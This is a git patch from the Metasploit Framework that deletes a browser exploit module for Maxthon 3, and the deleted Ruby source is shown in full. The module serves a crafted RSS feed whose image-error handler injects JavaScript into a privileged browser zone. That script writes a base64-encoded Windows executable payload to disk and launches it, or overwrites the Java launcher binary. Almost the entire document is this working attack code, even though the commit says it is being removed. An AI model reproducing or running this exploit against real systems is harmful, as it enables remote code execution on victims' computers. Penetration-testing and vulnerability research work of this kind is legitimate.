From 9838a2c75f7eca93d32e609e2d470c22403c87c0 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Fri, 7 Dec 2012 13:02:26 -0600 Subject: [PATCH] This never works for us. Gonna ditch it. --- .../windows/browser/maxthon_rss_xcs.rb | 116 ------------------ 1 file changed, 116 deletions(-) delete mode 100644 modules/exploits/windows/browser/maxthon_rss_xcs.rb diff --git a/modules/exploits/windows/browser/maxthon_rss_xcs.rb b/modules/exploits/windows/browser/maxthon_rss_xcs.rb deleted file mode 100644 index ba2ae37e4e..0000000000 --- a/modules/exploits/windows/browser/maxthon_rss_xcs.rb +++ /dev/null @@ -1,116 +0,0 @@ -## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ -## - -require 'msf/core' - -class Metasploit3 < Msf::Exploit::Remote - Rank = ExcellentRanking - - include Msf::Exploit::Remote::HttpServer::HTML - - def initialize(info = {}) - super(update_info(info, - 'Name' => 'Maxthon RSS Preview', - 'Description' => %q{ - RSS feed content is rendered by Maxthon in a trusted/privileged zone. - Injection in such privileged/trusted browser zone can be used to modify - configuration settings and execute arbitrary commands. - }, - 'License' => BSD_LICENSE, - 'Author' => - [ - 'Roberto Suggi Liverani', # Discovered the vulnerability and developed msf module - ], - 'References' => - [ - ['URL', 'http://blog.malerisch.net/2012/12/maxthon-cross-context-scripting-xcs-rss-rce.html'], - ], - 'Payload' => - { - 'DisableNops' => true, - }, - 'Platform' => 'win', - 'Targets' => - [ - ['Maxthon 3 on Windows',{} ], - ], - - 'DisclosureDate' => 'Nov 26 2012', - - 'DefaultTarget' => 0 - - )) - - register_options( - [ - OptString.new('JPATH', [true, "Java executable path to overwrite", 'C:\\\\Program\\ Files\\\\Java\\\\jre7\\\\bin\\\\jp2launcher.exe']), - OptString.new('JAVAURL', [true, "Java Applet URL", 'http://profs.etsmtl.ca/mmcguffin/learn/java/01-drawingLines/']), - ], self.class - - ) - - - end - - def on_request_uri(cli, request) - - jpath = datastore['JPATH'] - javaurl = datastore['JAVAURL'] - - headers = {} - html_hdr = %Q^ - - - Loading - ^ - html_ftr = %Q^ - - -

Loading

- - ^ - - case request.uri - - when get_resource() - print_status("Sending #{self.name} payload for request #{request.uri}") - p = regenerate_payload(cli) - if (p.nil?) - send_not_found(cli) - return - end - penc = Msf::Util::EXE.to_win32pe(framework, p.encoded) - penc2 = Rex::Text.encode_base64(penc) - - js = %Q|var fileTemp=new maxthon.io.File.createTempFile("test","exe");var fileObj=maxthon.io.File(fileTemp);maxthon.io.FileWriter(fileTemp);if(maxthon.program){maxthon.io.writeDataURL("data:application/x-msdownload;base64,#{penc2}");maxthon.program.Program.launch(fileTemp.name_,"C:"); } else {fileTemp.name_ = "#{jpath}"; maxthon.io.writeDataURL("data:application/x-msdownload;base64,#{penc2}");a=document.createElement("iframe");a.setAttribute("src","#{javaurl}");document.body.appendChild(a)}| - - - content = %Q| - - - Malerisch.net - http://blog.malerisch.net/ - Malerisch.net - - test - javascript:alert(window.location); - 07/09/2008 - test <img src=a onerror='#{js}'> - Sun, 07 Sep 2008 12:00:00 GMT - - - | - else - print_status("Sending 404 for request #{request.uri}") - send_not_found(cli) - return - end - - send_response_html(cli, content, headers) - handler(cli) - end - -end